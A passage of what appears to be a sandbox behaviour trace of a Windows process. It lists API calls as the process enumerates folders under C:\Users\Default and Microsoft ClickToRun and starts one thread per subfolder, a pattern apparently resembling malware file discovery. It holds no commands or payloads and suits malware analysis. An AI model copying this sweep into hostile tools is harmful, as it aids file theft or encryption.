	[0077.374] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2dad738
	[0077.374] wcscpy (in: _Dest=0x2dad738, _Source="C:\\Users\\Default\\Pictures" | out: _Dest="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures"
	[0077.374] wcscat (in: _Dest=0x2dad738, _Source="\\" | out: _Dest="C:\\Users\\Default\\Pictures\\") returned="C:\\Users\\Default\\Pictures\\"
	[0077.374] wcscat (in: _Dest=0x2dad738, _Source="*" | out: _Dest="C:\\Users\\Default\\Pictures\\*") returned="C:\\Users\\Default\\Pictures\\*"
	[0077.374] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a3660
	[0077.374] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*", lpFindFileData=0x47a3660 | out: lpFindFileData=0x47a3660*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dac978
	[0078.073] wcscmp (_String1=".", _String2=".") returned 0
	[0078.073] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x47a3660 | out: lpFindFileData=0x47a3660*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.073] wcscmp (_String1="..", _String2=".") returned 1
	[0078.073] wcscmp (_String1="..", _String2="..") returned 0
	[0078.073] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x47a3660 | out: lpFindFileData=0x47a3660*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0078.074] FindClose (in: hFindFile=0x2dac978 | out: hFindFile=0x2dac978) returned 1
	[0078.074] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a3660) returned 1
	[0078.074] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dad738) returned 1
	[0078.074] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dad1f8) returned 1

Thread:
	id = 459
	os_tid = 0x1654

	[0077.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2dfb078
	[0077.375] wcscpy (in: _Dest=0x2dfb078, _Source="C:\\Users\\Default\\PrintHood" | out: _Dest="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood"
	[0077.375] wcscat (in: _Dest=0x2dfb078, _Source="\\" | out: _Dest="C:\\Users\\Default\\PrintHood\\") returned="C:\\Users\\Default\\PrintHood\\"
	[0077.375] wcscat (in: _Dest=0x2dfb078, _Source="*" | out: _Dest="C:\\Users\\Default\\PrintHood\\*") returned="C:\\Users\\Default\\PrintHood\\*"
	[0077.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a38c8
	[0077.375] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*", lpFindFileData=0x47a38c8 | out: lpFindFileData=0x47a38c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0077.946] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a38c8) returned 1
	[0077.946] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb078) returned 1
	[0077.946] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dad3b8) returned 1

Thread:
	id = 460
	os_tid = 0x1658

	[0077.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2dad778
	[0077.375] wcscpy (in: _Dest=0x2dad778, _Source="C:\\Users\\Default\\Recent" | out: _Dest="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent"
	[0077.376] wcscat (in: _Dest=0x2dad778, _Source="\\" | out: _Dest="C:\\Users\\Default\\Recent\\") returned="C:\\Users\\Default\\Recent\\"
	[0077.376] wcscat (in: _Dest=0x2dad778, _Source="*" | out: _Dest="C:\\Users\\Default\\Recent\\*") returned="C:\\Users\\Default\\Recent\\*"
	[0077.376] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a3b30
	[0077.376] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*", lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0077.950] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a3b30) returned 1
	[0077.950] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dad778) returned 1
	[0077.950] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb2a8) returned 1

Thread:
	id = 461
	os_tid = 0x165c

	[0077.376] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2dfa808
	[0077.376] wcscpy (in: _Dest=0x2dfa808, _Source="C:\\Users\\Default\\Saved Games" | out: _Dest="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games"
	[0077.376] wcscat (in: _Dest=0x2dfa808, _Source="\\" | out: _Dest="C:\\Users\\Default\\Saved Games\\") returned="C:\\Users\\Default\\Saved Games\\"
	[0077.376] wcscat (in: _Dest=0x2dfa808, _Source="*" | out: _Dest="C:\\Users\\Default\\Saved Games\\*") returned="C:\\Users\\Default\\Saved Games\\*"
	[0077.376] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a3d98
	[0077.376] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x47a3d98 | out: lpFindFileData=0x47a3d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70e00
	[0079.436] wcscmp (_String1=".", _String2=".") returned 0
	[0079.436] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x47a3d98 | out: lpFindFileData=0x47a3d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.436] wcscmp (_String1="..", _String2=".") returned 1
	[0079.436] wcscmp (_String1="..", _String2="..") returned 0
	[0079.436] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x47a3d98 | out: lpFindFileData=0x47a3d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0079.436] FindClose (in: hFindFile=0x2d70e00 | out: hFindFile=0x2d70e00) returned 1
	[0079.436] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a3d98) returned 1
	[0079.436] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0079.436] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb270) returned 1

Thread:
	id = 462
	os_tid = 0x1660

	[0077.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2dad7b8
	[0077.377] wcscpy (in: _Dest=0x2dad7b8, _Source="C:\\Users\\Default\\SendTo" | out: _Dest="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo"
	[0077.377] wcscat (in: _Dest=0x2dad7b8, _Source="\\" | out: _Dest="C:\\Users\\Default\\SendTo\\") returned="C:\\Users\\Default\\SendTo\\"
	[0077.377] wcscat (in: _Dest=0x2dad7b8, _Source="*" | out: _Dest="C:\\Users\\Default\\SendTo\\*") returned="C:\\Users\\Default\\SendTo\\*"
	[0077.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a4000
	[0077.377] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*", lpFindFileData=0x47a4000 | out: lpFindFileData=0x47a4000*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0077.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a4000) returned 1
	[0077.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dad7b8) returned 1
	[0077.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb158) returned 1

Thread:
	id = 463
	os_tid = 0x1664

	[0077.378] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3c) returned 0x2dfa898
	[0077.378] wcscpy (in: _Dest=0x2dfa898, _Source="C:\\Users\\Default\\Start Menu" | out: _Dest="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu"
	[0077.378] wcscat (in: _Dest=0x2dfa898, _Source="\\" | out: _Dest="C:\\Users\\Default\\Start Menu\\") returned="C:\\Users\\Default\\Start Menu\\"
	[0077.378] wcscat (in: _Dest=0x2dfa898, _Source="*" | out: _Dest="C:\\Users\\Default\\Start Menu\\*") returned="C:\\Users\\Default\\Start Menu\\*"
	[0077.378] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a4268
	[0077.378] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*", lpFindFileData=0x47a4268 | out: lpFindFileData=0x47a4268*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0077.957] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a4268) returned 1
	[0077.957] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa898) returned 1
	[0077.957] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dad5b8) returned 1

Thread:
	id = 464
	os_tid = 0x1668

	[0077.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2dfa8e0
	[0077.379] wcscpy (in: _Dest=0x2dfa8e0, _Source="C:\\Users\\Default\\Templates" | out: _Dest="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates"
	[0077.379] wcscat (in: _Dest=0x2dfa8e0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Templates\\") returned="C:\\Users\\Default\\Templates\\"
	[0077.379] wcscat (in: _Dest=0x2dfa8e0, _Source="*" | out: _Dest="C:\\Users\\Default\\Templates\\*") returned="C:\\Users\\Default\\Templates\\*"
	[0077.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a44d0
	[0077.379] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*", lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0079.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a44d0) returned 1
	[0079.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa8e0) returned 1
	[0079.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dad478) returned 1

Thread:
	id = 465
	os_tid = 0x166c

	[0077.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2dad7f8
	[0077.379] wcscpy (in: _Dest=0x2dad7f8, _Source="C:\\Users\\Default\\Videos" | out: _Dest="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos"
	[0077.379] wcscat (in: _Dest=0x2dad7f8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Videos\\") returned="C:\\Users\\Default\\Videos\\"
	[0077.379] wcscat (in: _Dest=0x2dad7f8, _Source="*" | out: _Dest="C:\\Users\\Default\\Videos\\*") returned="C:\\Users\\Default\\Videos\\*"
	[0077.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a4738
	[0077.379] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*", lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70e00
	[0079.433] wcscmp (_String1=".", _String2=".") returned 0
	[0079.433] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.433] wcscmp (_String1="..", _String2=".") returned 1
	[0079.433] wcscmp (_String1="..", _String2="..") returned 0
	[0079.433] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0079.433] FindClose (in: hFindFile=0x2d70e00 | out: hFindFile=0x2d70e00) returned 1
	[0079.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a4738) returned 1
	[0079.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dad7f8) returned 1
	[0079.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb350) returned 1

Thread:
	id = 466
	os_tid = 0x1670

	[0077.380] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x2e2b4d8
	[0077.380] wcscpy (in: _Dest=0x2e2b4d8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4"
	[0077.380] wcscat (in: _Dest=0x2e2b4d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\"
	[0077.380] wcscat (in: _Dest=0x2e2b4d8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\*"
	[0077.380] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a49a0
	[0077.380] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\*", lpFindFileData=0x47a49a0 | out: lpFindFileData=0x47a49a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a7a8
	[0085.622] wcscmp (_String1=".", _String2=".") returned 0
	[0085.623] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x47a49a0 | out: lpFindFileData=0x47a49a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.623] wcscmp (_String1="..", _String2=".") returned 1
	[0085.623] wcscmp (_String1="..", _String2="..") returned 0
	[0085.623] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x47a49a0 | out: lpFindFileData=0x47a49a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1
	[0085.623] wcscmp (_String1="en-us.16", _String2=".") returned 1
	[0085.623] wcscmp (_String1="en-us.16", _String2="..") returned 1
	[0085.624] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d5d358
	[0085.624] wcscpy (in: _Dest=0x2d5d358, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4"
	[0085.624] wcscat (in: _Dest=0x2d5d358, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\"
	[0085.624] wcscat (in: _Dest=0x2d5d358, _Source="en-us.16" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16"
	[0089.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d5d358, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c74
	[0089.636] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x47a49a0 | out: lpFindFileData=0x47a49a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0089.636] wcscmp (_String1="x-none.16", _String2=".") returned 1
	[0089.636] wcscmp (_String1="x-none.16", _String2="..") returned 1
	[0089.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d5d2a8
	[0089.636] wcscpy (in: _Dest=0x2d5d2a8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4"
	[0089.636] wcscat (in: _Dest=0x2d5d2a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\"
	[0089.636] wcscat (in: _Dest=0x2d5d2a8, _Source="x-none.16" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16"
	[0089.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d5d2a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c78
	[0089.637] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x47a49a0 | out: lpFindFileData=0x47a49a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0089.637] FindClose (in: hFindFile=0x477a7a8 | out: hFindFile=0x477a7a8) returned 1
	[0089.637] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a49a0) returned 1
	[0089.637] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2b4d8) returned 1
	[0089.637] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2a858) returned 1

Thread:
	id = 467
	os_tid = 0x1674

	[0077.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x2e2b6b8
	[0077.381] wcscpy (in: _Dest=0x2e2b6b8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0"
	[0077.381] wcscat (in: _Dest=0x2e2b6b8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\"
	[0077.381] wcscat (in: _Dest=0x2e2b6b8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\*"
	[0077.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a0fe0
	[0077.381] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\*", lpFindFileData=0x47a0fe0 | out: lpFindFileData=0x47a0fe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ab68
	[0085.292] wcscmp (_String1=".", _String2=".") returned 0
